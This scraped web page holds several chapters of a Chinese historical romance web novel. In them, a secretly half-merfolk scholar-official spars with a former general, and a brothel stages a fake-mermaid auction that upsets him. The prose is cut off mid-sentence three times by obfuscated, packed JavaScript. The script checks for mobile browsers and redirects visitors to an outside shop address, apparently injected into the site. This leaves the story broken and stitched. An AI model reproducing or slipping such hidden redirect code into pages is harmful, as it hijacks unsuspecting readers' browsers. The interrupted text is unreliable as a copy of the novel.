肌肤相触的霎那间,沈文誉最先感受到的就是不属于自己的滚烫体温。 他由于一些…不可言说的原因,一年四季体温都是偏冷的,这也是他讨厌肢体接触的原因。这可怖的热意简直带着生命力,烫得他寒毛乍起、头皮发麻。 偏偏这人还嫌他乱动,手掌沿着他腕骨往上摸,带着“老实点”的告诫,轻拍了他一下,掌心温度一点没剩,全烫着了他。 “嘶——” 沈文誉甩开了那只手,往后退了两步,心中不免稀奇,天底下居然还有比裴止弃更没有礼貌的人。 而待他看清是谁后,也就释然了。 裴止弃莫名其妙:“吓到你了吗?” 沈文誉十分礼貌地弯唇,“裴都指挥使,括弧,副的,”他一字一顿叫完全部称呼后才道,“是的,你到底有什么肌肤亲渴的毛病?” “冒犯了。”裴止弃收回手,没有任何冒犯的歉意,“没想过你这么害羞。” 沈文誉总觉得手腕上有一股奇怪的热,于是很不舒服地扣着皮肤,心想这些兵痞子肝火旺盛吗,体温居然比宋鹤还要高几分。 但这根本不是什么值得发火的事情,毕竟没人会因为洁癖被摸而向皇帝告状。于是他往后退了两步:“裴大人有什么事情吗?” 官道上人多眼杂,沈文誉并不想被别人看见自己正在同裴止弃攀谈,嘴上问着“有什么事吗”,脸上却写着“没事就滚蛋”。 裴止弃却没有放他走的意思。 他上前一步,似乎是故意与沈文誉对着干,将距离又拉近了几分:“恭喜沈大人仕途高升、平步青云。” “过誉了”,沈文誉客客气气答了,不着痕迹把他推远,“沈某才疏学浅,全靠圣人垂怜。” 又来了,滴水不漏的答法。他看似如无知稚子,可几番交锋,没留下任何把柄。 无可指摘的出生、三元及第的成就,乃至优越的样貌。他本就含金汤匙出生,裴止弃想不出任何要与自己对着干的理由。甚至想不出任何应该把自己当成绊脚石的理由。 云泥之别啊,云又何苦低头吹走一摊任人践踏的烂泥? 裴止弃沉默半晌,突然感觉到有些烦躁。 最初他从谢晤嘴里听闻沈文誉时,本以为又是个自恃清高的书痴,不知天高地厚,只知道卖弄笔下二两墨,觉得天底下一切事情都可以用对错来分明,觉得一切坏人都会得到好人惩处,觉得成王败寇里的所有寇徒都是罪有应得。 宴会上的争执更是让他确定了自己的想法,沈文誉此人,就是一个被家里惯坏了的少爷,嘴欠、傲慢,还有些自负刻薄。 到北人刺杀案时,裴止弃才开始有了怀疑,而沈文誉此后种种反应更是确证了这一点—— 这人根本就不像面对他时表现出来的这么无脑自负! 裴止弃在当将军之前是流氓,真流氓,三道九流接触多了,有时候看两眼就知道这是人是鬼。之后当了将军,死在他手上的尸体无数,也知道人在临死之前更会暴露出什么本性。于是从白骨到画皮都算是熟悉,对人性再了解不过,大多数人在他面前都好似透明…他只是懒得拆穿而已。 这倒是他第一次直觉出错,不由得起了兴趣。 可是行事总该有个目的吧,他的目的究竟是什么? 沈文誉等了一会,觉得裴大人应该说完了,他向来对异类很包容,即使是说两句话就沉默的傻子,于是转身要走。 恰在此时,被陛下留了一会,才出宫的祝今宵注意到了二人,于是快步走过来,十分热情地打了个招呼。 “沈大人、裴大人,二位聊什么呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113908|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴止弃本想说什么,尚未开口,被一句惊呼取代。 “哎呀,沈疏名对不对?果真百闻不如一见!方才在朝廷上没见着,文誉状元宴的时候我又在出差身不能至,早就听了一耳朵的夸赞,心痒死了,如今才见着,真真是有一副如琢如玉的面容。” 祝今宵眼尾弯得如狐眸,将手中扇子抵在沈文誉肩上,用扇尖轻轻蹭过他的领口,“今后就要一同共事了,还请多多关照。” 如果有任何一位了解祝今宵的官员在场,听见“心痒”两字,就该大惊失色地把沈文誉从这魔头底下拽走了。可眼下只有一个游离于官场之外的裴止弃,还有一个初出茅庐的…新任五品官员。 “祝大人。”沈文誉笑了笑,有些疑惑地看着祝今宵拿扇子抵起他的下巴尖,但还是很乖的回复,“久仰大名了。” 也不知道祝今宵是应酬惯了还是真就待人这么热络,拉着沈文誉又说了许多,简直是爱不释手。 诸如还好你没出事不然这么漂亮的脸蛋就见不到了他会心碎的、你长得这样好看是不是随了母亲、同裴大人聊什么呢也说来让我听听,你好像独自住是不是改日一定去你宅邸中作客等等。 沈文誉挨个答了。 两人相谈甚欢,还隐隐有几分一见如故的意思。 裴止弃当了好一会背景板:“……” 他本无意打断交朋友的两位,但他听到最后一句实在是觉得有点奇怪,再说了,他暂时占了先来后到的理,于是插话也理直气壮。 他右手搭上沈文誉的肩,把人往他的方向拽了拽,叫这人抬起头,稍微从那无止境的交谈里分出一点注意力给他:“好文誉。” 沈文誉被他这一声叫得直泛酸。 “好文誉,”裴止弃唇角一弯,“我们还 有的好聊是不是?” 谁要和他演臣子和睦?沈文誉带着画上去的笑意,捏着鼻子把他的手臂拎起来。 沈文誉忍无可忍:“你到底要……” 裴止弃等的就是他两只手被占。于是左手横贯在前,搂过他的腰,再稍微一用力,就把沈文誉整个人扛了起来。 裴止弃冲祝今宵点点头,权当打招呼。 “先来后到,沈大人我先借走了,祝大人自便。” ——强盗!!! 裴止弃当将军的时候正经吗?怎么强买强卖的时候怎么熟练? 沈文誉小的时候都没有坐侯爷脑袋上闹过,更别提已经成人,整个人都僵住了,也不敢用这样狼狈的姿势去看祝今宵。 他的胃被男人肩膀抵着…快要吐了。 祝今宵:“二位这是……” 沈文誉:“不……” “熟”字还未出口,裴止弃耐心告罄,直接将人带走了。 . 谢晤眼睁睁看着裴止弃将新出炉的五品官扛了过来,一时间惊恐不已。心想怎么不顺便套个麻袋就带过来了?又想这就要下手了吗可是他还没准备好…… 谋杀朝廷命官可是大罪,他们这群人,九族诛起来更是轻松如消消乐。 怎么办,怎么办,路上有人看见吗,要不要救,但是等一下,他打主子吗,真的假的? 谢晤都已经想好了此事了了,他该怎么跑路,到如何隐居深山与一位美丽的女子共度余生,再到要不要去监狱里看裴止弃…再然后就看见沈文誉自己撩开帘子钻了进去。 谢晤:“……” 哈哈,哦,是自投罗网。 8. 怀疑 “没想到,指挥使大人还喜欢干这等强盗勾当。” 扬鞭声音清脆,马车平稳跑了起来,沈文誉撑着下颚望着窗牖外,看道路与行人后退,一点点远离令人作呕的皇宫。 他与裴止弃面对面坐在马车中,马车空间不大,底部铺了柔软的绒毯,伸个腿就要挨着对方的,于是两人都收了腿,人为划出一条楚河汉界。 这样狭窄的距离,空气不流通,呼出的气息染上体温,显出几分燥热。 裴止弃:“是啊,老本行,偶尔做做。” 沈文誉循声看过来:“?” 见沈文誉了然点头,似乎在惊讶人不可貌相,裴止弃唇角勾了勾:“小时候没人教没人养,和流浪狗一起抢劫路人,成果是饼和包子。很讨厌吧?” 沈文誉此人,风度翩翩温和有礼,俨然是别人家孩子,在他面前却总有些刻薄。 但在裴止弃的记忆里,他们初见时,沈文誉还算得上温和有礼,态度骤然转变是从知道他是谁那一刻起的。 是啊,他的名字就是一切厌恶的源头。 裴止弃自觉这是个嘲讽的好时机,于是洗耳恭听接下来的坏话。 却没有等到。 沈文誉只是瞥了他一眼,然后淡淡地移开了视线。 他今日穿的朴素,长发勾在耳后,愈发衬得肤色如玉,像是摆在密室里细心呵护的花瓶,任谁都不会将他视作威胁。 裴止弃莫名觉得这人一股死气…千般模样都是画皮,从发丝到指尖都精致虚伪,装给自己看,也装给别人看。 裴止弃没得到嘲讽,一下卡壳,倒是真不知道说什么了。 沈文誉莫名懂了什么,挑了眉:“……怎么,你很希望从我这里讨两句骂来听听?比如小破流浪狗之类的?” 那虚假的空壳感略微被冲淡了一些。 “谢了,”裴止弃耸耸肩,“暂时还没有这种趣味。” 沈文誉短促地笑了一声。 就在氛围略微松缓下来的时候,裴止弃忽地凑了过来。 这样近的距离,呼吸都细细腻腻地缠绕起来,几乎可以看清楚睫毛的走向,饶是迟钝如沈文誉也嗅到了一丝暧昧的气息,眉头下意识蹙紧,正要斥。 裴止弃盯着沈文誉,笑了起来。 “沈大人,我还有个问题想请教。” “——你怎么知道我那日会去你的状元宴?” 呵,原来在这儿等着呢。 沈文誉挑眉,抽气,露出很惊讶的表情——只是这惊讶因为过于流水线而显得尤其敷衍,“指挥使这是什么话?我难道会未卜先知么,我也是您来了,收到报信才知道的呀。” 裴止弃往后撤,放过了他,把玉佩抛起又接住,来回数次,叹了口气。 “这一场局做得这么好,官也升了、皇帝与皇子的隔阂也有了,更是让我惹了一身麻烦,我若是不来,大家喝酒喝尽兴了,岂不是个无聊至极的宴会?” “文誉啊,费劲心思同我对着干,对你究竟有什么好处?” 不知道是不是北人说话的习惯,他会将名字念得很长,尾字含混好似叹息,好像真的拿他没有办法的样子。 沈文誉乜了他一眼,白袜白靴的足顺着毛绒绒的毯子,缓缓挪到裴止弃的脚边。 车轮恰巧碾过石子,车厢晃动一下,沈文誉那价值不菲的靴子就挨到了裴止弃的。 他就这么轻巧的、带着试探性地,蹭了蹭男人那双深黑的皂靴。 “说笑了,怎么算踩呢。”足尖摩挲,分明隔着鞋子,也感受到了某种含糊的痒。 沈文誉不走心地笑了一下,正要假装无事收回脚,被裴止弃足尖勾住了脚踝。于是他定定看着裴止弃,歪头道:“顶多算是试探吧?” “......那还真是裴某的荣幸。请问沈大人试探出了什么?” 毕竟初次交锋,结果是险些被冠上结党的罪名,附赠赔进去三个月俸禄,裴府本就勒紧的裤腰带还得再勒紧几圈,谁笑得出来。 沈文誉沉思半晌。 “试探出了将军是个好人?” “所以你承认此事是你一手策划?” 眼里闪过一丝狠色,裴止弃目光瞬间沉了下来。 “好冤枉啊,”沈文誉声音很轻,似乎真的很委屈,“分明我只是顺着大人的意思来说的,大人总是这样一面之词可不好。” “……”裴止弃啼笑皆非,“文誉识人不善,我可不是什么好人。” “怎么不是呢?”沈文誉又拿足踝蹭了蹭他,“一点吃剩下来的虚职就能收买一只为主子出生入死的忠犬。族人流离失所,裴大人倒是珠玉傍身,若问起来,是不是还不知道北人在京城就是玩.妓?救我是好人,为陛下效劳当然也是好人。裴大人是人尽皆知的大好人啊。” 后脑磕在厢壁上发出闷响。 沈文誉手被男人快而猛地攥住,滚烫的茶汤溅出来几滴。茶杯脱了手,无声地落在车板上,流出来的茶液彻底沾湿了地毯。 “……” 沈文誉被烫到失声,半晌才缓过来,轻轻嘶了声。 他两只手被反扣在头顶,脖颈被迫高高仰起,一只手的虎口刚好卡在喉咙凸出的地方,充满威胁性地摩挲两下。 沈文誉似乎意识到将会发生什么,本能地用力呼吸起来,手腕青筋条条显露,在挣扎之下几乎快要脱离男人的控制,却在下一刻被更狠地按了回去,指骨磕在车壁发出令人牙酸的声音。 这样痛,他却不吭一声,隐隐发起抖。 裴止弃的距离愈发靠近,湿热呼吸洒在肌肤上带起一线战栗。沈文誉被撩得很痒,竭力往后避了避,视线已经模糊了。 裴止弃垂着眼,缓慢张口:“——沈大人以为我又会这样?” 什么? 趁沈文誉还有些愣,裴止弃随意松开了桎梏。 新鲜空气猛灌入喉咙,挤开饱经折磨的肺腔,沈文誉一时得了自由,大口呼吸着,很快转为断续的呛咳。 一时间,诺大的空间里只回荡着他痛苦的喘.息声。 他就这么攥着胸口脊背起伏,好像一条脱了水后濒死的鱼。 “沈大人故技重施,不会又以为几句话可以让我动手吧?”裴止弃叹了一口气,“实不相瞒,其实我脾气还挺好的。” 沈文誉:“………………” 裴止弃轻笑了声:“沈大人既然不反省,那我只能反省自己了。那日轻易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈文誉刚才说什么有用的话了吗? “礼物,”裴止弃道,“我确实没有同人说过我会去,但是早几日就差你去请人打造了礼盒,铸的些图案与金榜题名有关,找匠人打听一下就知道了。” “但这不也是赌吗!?”谢晤有些震惊,脱口而出道,“万一您又不想去了,或者只是找人代送过去,再或者这礼盒根本不是给他的……怎么这么自信?天底下金榜题名的又不止他一个!” “您是说仅仅是这几天,他就凭借这点猜测筹备了这起刺杀?…他就不担心如果您没拦那一下,他就真做了刀下死鬼吗!” 裴止弃若有所思。 “我怎么知道。我只觉得他确实早有准备,偏偏我出手了才是打破了他的计划。” “只是——” 谢晤听得入了迷,追问道:“只是什么?” 裴止弃语气饶有兴趣,态度却是事不关己的,闲闲道,“只是这礼盒不便宜,细算来,花了我整整三个月俸禄。” 谢晤:“……” 得,加上皇帝罚的,咱们六个月白干呗。 9. 春宴(二合一) 苍云息影,丹楼如霞。正是黄昏之时,日色斜倾,落在阁楼的琉璃瓦顶,折射出黏滞的虚光。 京城内颇具盛名的锁春阁起了数条纸鸢,如鸟雀般扎入云端,色彩艳丽的飘带被风吹晃着,猎猎作响。 锁春阁外车马盈门,络绎不绝。 锁春阁顾名思义,做些销魂荡魄的买卖。 可惜官员们风流快活也要,阳春白雪也要,不愿意明面踏进这种风月场所,于是锁春阁起了个主意,讨了个“春宴”的巧头,每年都备了不一样的“主题”,有趣的玩意层出不穷,还请了些书生观赏题词,表面上附庸风雅,风雅之后就该是些断魂销骨的娱乐了。 就这样传十传百,锁春阁名气渐响,春宴也就成了近些年最受欢迎的活动。 锁春阁今年更是打出了“千载难逢”的主题,大半个月过去了,居然一点相关风声都没透出,于是各小报绞尽脑汁,为了发售量脸都可以不要,将其吹得神乎其神。 诸如“爆!宴会内容居然是这个…不来悔恨终生!”“拼尽全力无法战胜!锁春阁内幕大揭晓!”“锁春阁的秘密你知道吗?”“男子为求春宴一票…居然大哭崩溃。” 男子是要崩溃了。 宋鹤从门口熙熙攘攘的人群艰难挤到一辆马车前,那人车帘还没撩起来,宋鹤就扯开领口,开始了絮叨。 “哎呦小疏名,快点快点,你是不知道这个宴票有多难抢,我可是拜托了我家兄长好久他才帮我弄来的,咱们可得提前进去,不然人又要多起来了!” 其热度居高不下又半个月,向来都是来者皆客的春宴居然提前售起了票,不到半时辰居然被抢购一空,再剩了些好的座次更是一票难求。 宋鹤能弄来两票不容易,沈文誉也不好扫了他的兴,再加上宋鹤确实做到了答应他的话,沈文誉自然赴约。 甫一进门,脂粉香气萦绕,阁内温暖如春,十丈软红尘带着媚骨香,扑了沈文誉一脸。 宋鹤刚要说话,被味道一呛,冷不丁打了个喷嚏。沈文誉面无表情把他的脸往旁边一推:“冲那打。” 院中央的桃树正值盛时。 粉白花瓣沾了糜湿香气,亲昵飘到客人发梢,又抓不住似,飘到了另一个客人的衣襟。 沈文誉将肩上落的花瓣摘了,越过还带着露水的花,看见了锁春的牌匾。 好字。 黑底金字,瞧这颜色,墨里大抵真掺了金子。锁春阁不愧是近年来的后起之秀,匾长约两人高,那春字两笔拖得又细又绵延,带着引诱似的,人还没没踏进去,骨头就已经酥了半边。 牌匾底下是一个露天庭院,用来分流行人,三六九等的客人就从三六九等的门里进入,中间有一棵长势奇好的树。 沈文誉分神看了两眼。 树身苍劲粗糙,约一人合抱的大小,让乱石和栅栏围着,养得好但也长得怪憋屈的,横平竖直都有标准。这样微小的春意被强行留在阁楼中…原来这就是锁春。 宋鹤弄来的票居然还不错,虽说不是二楼雅座,但也是观赏的上等票。领着沈文誉绕过这棵树,过了一条流水拱桥,从中间的门进了。 拐过去后眼界骤然开朗,顺着人流进了琼楼。宋鹤对地形了如指掌,驾轻就熟带着沈文誉落座。 沈文誉并不想知道他为什么这么熟练。 “快快快,人是不是超多?唉别挤…春宴这么好玩儿,文誉,早让你跟我们一起来了,真是不懂得享受。对了,我在楼上还给你定了厢房,你若是累了就上去歇歇,怎么样,我贴心吧?” 多贴心呐,这么多人面前喊他大名,已经有人望过来了。沈文誉好气又好笑剜了他一眼,宋鹤立马反应过来,捂住了自己的嘴:“唔对补漆!” 虽说沈文誉逛窑子这件事被知道了也没什么,传出去也…正合他意,但与宋鹤不同,这事情若是被宋鹤父亲知道,最多给宋鹤打断半条腿,但显然此君是个“牡丹花下死,被爹打哭也风流”的真君子,丝毫不惧。但他不一样,他爹沈朝言是真能给他打半残。 沈文誉对这些东西实在是不感兴趣,但来都来了,权当长见识了,况且这春宴传得人尽皆知,之后拿出去当个谈资也不错。 他今日穿得锦绣,月白缕金长袍,韶秀得好似哪家不谙世事的小公子,苍白小巧的脸掩在衣领中,只露一双如墨点漆的眸子。 宋鹤见着他就总是莫名想多照顾他一点,人都要踏进锁春阁了,突然有种把自家兄弟带坏了的愧疚感…就像是他在外面滚了一圈泥巴,然后往雪白的宣纸上盖了个丑不拉几的掌印。但愧疚不多,就一点点。 人生在世,不就是图一个爽快! 他心里想通,人就畅快了,豪放地搂住自家兄弟的肩,打算今日一定要带他好好长长见识。 就这么搭了老半天,他才突然反应过来好像不太对劲,一直对接触避之不及的沈文誉好像忘记了要躲开这件事。 ——不对劲! 宋鹤都想到了沈文誉的皮下已经换了一个灵魂,但自己对他关心太少,直到现在才发现…一时间声音都不对了。 “疏名,你你你你今今今天怎么这么好说话了?” 沈文誉:“嗯?” 宋鹤:“我今天,搭着你,整整半刻钟!你居然没有拍我的手,或者是瞪我,或者是让我滚……” 沈文誉:“………” 对,他这些办法全都在另一个人身上用过了,但是有用吗?那混账还不是我行我素,有点机会就动手动脚。 沈文誉:“滚。” 宋鹤“得嘞”一声,满意地松开了手,与沈文誉并肩往里走着,还没忘记问出好奇已久的问题。 宋鹤:“但文誉,你好像也没有很严重的洁癖,所以到底为什么这么讨厌肢体接触?” “——难道是因为嫌弃我吗!”宋鹤说到这里,很快被这个可能性说服了,连眼睛都微微睁圆,想必如果有耳朵就该垂下来了,耷拉在两边。 沈文誉:“……没有。” 沈文誉讨厌肢体接触并不是洁癖之类的原因,单纯是觉得不舒服。就像是你不能把冰放在火上,也不能把鱼放进热水里。冰会化,鱼也会熟。 沈文誉字斟句酌半晌,觉得没什么不方便说的,才缓慢道:“因为你太烫了。” “烫?” 宋鹤苦苦想着这个字是否有别的引申义,比如沈文誉在暗讽他太骚了、太…火辣了之类的?但沈文誉说的时候很认真,似乎是真的因为体温的事情而感到很困扰。 “你这么一说…”宋鹤摸了两把下巴,“好像确实,你体温真的有点太低了,虽然夏天摸起来还挺舒服的,但冬天我有时候真会被你凉一个寒颤。但这好像是一种病啊……” 沈文誉心脏停了一瞬:“什么?” 宋鹤:“宫寒。” 宋鹤:“唉你别走啊我不逗你了!!!文誉!!!!!” . 纱幔悬落,锁春阁的戏台被自顶梁垂下的红纱遮了起来,丝竹之乐幽幽响起,幽香缭绕,如盘丝之地,烛火只点燃了三两支,四周通明的灯火都点不亮这一块昏暗晦涩的地方,显得刻意而古怪。 尚未开场,就已经吸引了四面八方的视线。 “好像听见了水声?” “我怎么没听到…不过说到这个,这纱后边的影子形状怎么这么像锁春阁后院那块假山。” “这玩意应该就是主题了吧?” “那还用废话,肯定是咯,他最好真的有点东西,五百金一张票啊!要是给我看什么舞女口技的,我就把他那招牌砸了!” “砸!带我一个!” 那边的宾客已经兴致勃勃猜起来了,宋鹤领着沈文誉在前排酒桌入座。 确实是好座位,单座,在一块还算远离人群的角落,不用和其他客人挤在长桌长凳上,却又能把戏台收尽眼底。 沈文誉看那红纱旁边人头攒动,许多锁春阁的招待与小厮撩开纱幔进进出出,此时听见宋鹤开口,于是收回了视线。 “就那玩意?真是藏够严实,瞧起来也没什么特别的啊?小爷我倒要好好看看了。” 宋鹤兴致颇高,如鱼得水,还叫了个小倌陪着他一起。小倌男身女相,倩笑着往他怀里钻,一边给葡萄剥着皮。 “是漂亮东西呢!”小倌笑起来,把剔透的紫色葡萄往宋鹤嘴里喂去,“阁里断断续续调.教了一年的,出场时,想必极是惊艳。” “调.教了这么久?”宋鹤咬着葡萄,嘴里含混,“那确实值得等了。” 沈文誉叹了口气,对上面前那目光讪讪的侍女,侍女看清了他的面容,眼睛又亮了几分,柔软而温热的身躯已经贴过来了:“公子……” 然后她的手里就被塞了两锭碎银。 沈文誉:“不消侍候,退下罢。” 侍女:“可公子………” 宋鹤嘴里塞着葡萄还没往过来解围:“欸小锦,你别管他,你退下好了,要不行你就来我这,他就是这种锯嘴葫芦,指定是哪里不行,绝对不是你没魅力!” 被他唤作小锦的女子带着嗔意,不轻不重地瞪了他一眼,又见沈文誉果真没有留下她的意思,只得遮掩着难过,起身离开了。 他这几日身子不适,却不像外病,是一种说不上来的焦虑烦躁。他很少有这种生理上的不安稳的情绪,眼下躺在雕花藤木摇椅里阖目歇息,脸色就更苍白了。 ……想必是近日劳累。 . “诶诶,来了来了!” 那小倌的声音突然高了起来,想必是时间差不多了,四周都起了骚动,沈文誉在这种氛围下也难得起了几分好奇,勉强打起精神。 纱幔外,水袖长裙的舞姬轻盈踩着舞步,身姿曼妙,可惜宾客已经无暇他顾,注意力全被红纱吸引,目光紧紧盯着缓步走来的鸨母。 她的手里握着把巨大的剪子,走到一旁,在欢呼、怂恿和尖叫之下,脸上洋溢着灿烂而饱满的笑,剪烂了一根用来支撑的红绳。 于是漫天的红纱纷纷扬扬,如雨坠落。 此行为如水溅油锅,群情瞬间沸腾,尖叫声与欢呼声彻底将气氛推至高峰—— 不知为何,这种举动让沈文誉感到很不舒服。 也许饱浸勾栏的这些人就喜欢这种粗暴的方式,越是不堪与刺激越好,也的确如此,那绳子被磨烂一分,众人的呼吸就粗重一分,带着某种心知肚明的侵.略意味。 遮挡的红纱唰然落下,假山与巨大水池显露出来。锁春阁居然真的将戏台改成了观赏景致,看起来传闻里春宴主题与水有关,也不是空穴来风。 ……但假山就这么空荡荡矗立着,什么也没有,水里空空如也。 原本昏暗的地方被里外三圈的烛光点亮了,景象再清楚不过,就是空无一物。 客人们彼此对视,一时间都以为自己被戏耍,于是期待落空,愤怒攫取了心智,痛骂声与要求退钱的起哄声响起。沈文誉在此起彼伏的“退钱”声里静静地看着水面。 他还是感觉不舒服。 就在此时,水面下好似有什么东西,仿佛有东西在活动着,速度极快,只能看见游动的黑影。 涟漪一圈圈往外扩散,很快越来越多的角落也起了呼应,泛起的层层涟漪撞在一起,随后就起了波浪,那波浪越来越重、越来越明显,层层叠叠—— “哗啦!” 破水而出的声音,晶莹的水珠划过一道圆弧,化作珍珠漫天洒落,在空中折射出剔透而闪耀的光。 那东西霎时间吸引了所有宾客的视线,连宋鹤都推开了依偎在他身上的小倌,坐了起来。 像是女子特有的华丽柔美的裙摆……不对,不是裙摆,是鱼尾! 那几条流光溢彩的鱼尾自水中带出一道道水花,又“啪”地拍入水中,隐没不见。 一时间,阁中针落可闻。 那几道黑色的影子在水中迅速穿梭,显然是靠近水面了,因为隐约可以看清曼妙而优美的身姿。游动的姿势也充满了观赏性,好似水中没有任何阻力,灵动而舒张至极,很快又是叫人呼吸一滞的、越水而出的声音。 众人还没反应过来,那些东西就游到了池边,一个接一个的露出水面,将海藻似的长发往后撩去,露出几张雌雄莫辨的容貌。 端的是……殊色无双。 美人们只着寸缕,有的托腮撑在池边的架子上,有的干脆带着一身水迹坐在池边。湿发淋漓,肌肤柔软,水珠顺着小腹一路滑落,刻意引着视线往下,叫客人看清这…… 半人半鲛的特性。 站立、拥挤、推搡、尖叫。 “啊啊啊啊这是什么!” “这是什么!!……我的天,我没看错吧,这是什么?!” “是鲛人?这是鲛人吗?活的?” “所以鲛人果真是真的存在的吗!?真是…怎么会这么漂亮……” “怎么可能,你们都冷静一点,别犯蠢。若是活鲛早就拿去进贡陛下了,怎么可能有机会留在锁春阁!” “好美……好美………怎么这么美……” 人群都往前涌去,宋鹤干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113910|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆站在了凳子上,伸长脖颈看去,杏眸睁大了,亮晶晶的,急忙要去拉沈文誉。 “哇!疏名你快看!鲛人啊,鲛人啊!……不过是真的还是假的啊?我瞧着这鱼尾好精妙,但不可能是真的吧,锁春阁真的是下血本了!” “疏名你看!我最喜欢那只,左数二位,那个浅白色尾巴的,那只最好看!” “——疏名?” 恰在此时,鸨母的声音作为背景声音响起。 “欢迎客人们莅临春阁!此次春宴的主题为‘鲛人宴’,呵…不必惊讶,并非活鲛,鲛人均由我们历年来的花魁精心装扮而成,……鱼尾触感真实,可以随意抚摸。 “当然,若是希望,完全可以将其作为真正的鲛人看待。 “半个时辰后,锁春阁将进行鲛人拍卖。只要拍卖到手,今日的鲛人随您处理,想嬉戏温泉还是红烛翻浪,任您选择!” 脸颊的血色霎那退净。 “疏名?” “……疏名!沈疏名!” “沈文誉!” 好似磐钟被撞响,浑圆的钟声在沈文誉的天灵盖里激起了嗡鸣回响,沈文誉终于回过神来,这才发现自己身子僵硬到不能动弹,光是扭头这一个动作都能听见骨头咯拉的响声…他浑身血液都在逆流,心脏差点呕出胸口。 一旁的宋鹤焦急不已,拍他脸颊没反应,险些上手掐他人中。 “……” “……我没事。咳。” 沈文誉反应极大地躲开宋鹤的手,面对宋鹤担忧的神色,又缓缓垂下眼睫。 从这个角度,只能看见他颤抖的眼睛。 他甚至忘记了呼吸,听不见看不见,周围的一切都坍塌堙灭了,好似陷入了一场梦魇,惊醒却不知今夕何夕。 唯有神魂灰飞烟灭。 宋鹤又过来帮他顺气,沈文誉还是有点反胃,摆了摆手示意自己没事,不要碰他。仔细看去,那只细长的手正隐隐在颤抖。 那筋骨根根分明,自皮下狰狞,似要破皮而出。 这是一双书法在京城内都颇负盛名的、状元的手。现在却连笔都拿不稳。 宋鹤哪里见过他这样,整个人紧绷到快到断掉了一样,不知缘由的呼吸困难、脸色惨白,那双桃花眼甚至红了一瞬,这样…脆弱。 是了,脆弱。 就像是桌子边缘摇摇欲坠的瓷器,透着将碎不碎的危险和心惊,好像再把他往前推一点,就一点…他就彻底四分五裂、万劫不复了。 像是意识到了自己的失态,沈文誉起身冲宋鹤仓促笑了一下,“我离开一下。” 宋鹤有些担心:“文……” 沈文誉转身离开,再没有留下任何一个眼神。 . 恶心。 好恶心。 这里的所有人,恶心至极……… 充斥着调戏和起哄的声音如海浪淹过头顶,将氧气一点点抽空了,将他吞噬。沈文誉陷入了恍惚,感觉眼前是挥之不去的红纱、蔚蓝水面,还有扭曲而蜿蜒的发丝、粼粼诡艳的鱼尾…… 他本想离开,但是感觉自己状态不正常,突然想起来宋鹤同他说过,二楼留了供休息的厢房。 罢了,休息一会也好。 只要能短暂地逃避那里,怎样都好。 干呕的欲望一阵阵地涌上来,喉咙肿痛发涩,好像有什么东西卡着,他偶尔缺水太久就这样,有时候不小心吃了一口鱼肉也这样。难以控制的恶心与厌恶。沈文誉回想起那群人兴奋难掩的痴态,暧昧抚摸着假人鱼的全身,心中掀起难抑的怒意。 而盛怒之下,冷汗却瞬间涌出来,沾湿了内里雪白的内衫。 那些是假的……可他是真的。 想吐…… 他茫然地摸上右耳,耳垂空空如也,这才想起来母亲送给他的小鱼耳坠,自己已经摘下来很久了。 他上了二楼,跌撞着一间间寻找厢房,余光从栏杆往下看去,庞大池子收尽眼底。假鲛人曳着鱼尾游来游去,与客人嬉戏、玩闹,水波荡漾,动作间几乎看不出腿的痕迹,连小腹上都仔细覆上了鳞片——沈文誉听鸨母说过,十两银子到手,就可以自己挑一片,撕下来,留着保存。 为了逼真感,撕扯的时候,假鲛人还会发出痛苦的呻.吟和尖叫,掺着隐蔽的欢愉。 …… 众人趋之若鹜,沈文誉却很轻易地看出来了衔接处的不太自然。 况且这鱼尾实在太过于短小了。 分明每次洗沐时,他的尾巴都只能搁在外头,又重又麻烦。这令人嫌恶的累赘。 反胃感又一次涌上来,沈文誉恰好走到了房间门口,抬头对了下字号,旋即急切地推门而入,又踉跄着找到了圊房,半跪在地上干呕起来。 他的神智浑噩,浑身都酥软无力,体温也微微发起了热,好奇怪,但他居然会发烧吗?沈文誉一闭眼,汗珠就从睫毛尖滚下来了,鬓发被冷汗浸湿了,黏在苍白脸颊旁。 衣服勾勒出后背清瘦轮廓,沉闷的咳嗽声在空荡荡的厢房里撞出回音,本就干涩的嗓子更疼了,他便压低了声音,小声呛咳着。 想吐。 但什么也吐不出来,反倒把自己折腾得力竭。 生理泪水溢出几滴,水雾弥漫,氤氲了视线。沈文誉浑身又热又粘腻,突然感觉到没来由的难过。 “主子,等等,门为什么是开的,是谁……” 带着几分戒备的谈话声音逼近,紧接着是不疾不徐的脚步声,好像是在自家后院里散步,却分明是逼近了他在的角落。 谁!? “嘘,好了,你安静点。” 略微耳熟的声音响起。 男人悠闲中带着点惬意的嗓音传入他的耳膜,原本像是浸泡在水中一般覆着水膜的听力骤然清晰,他知道男人在靠近他,还有配饰彼此碰撞的声音。 沈文誉把自己从地上撑起来,环顾一圈,没有找到趁手的东西。于是往墙角退了几步,眉尖已经蹙起来了。 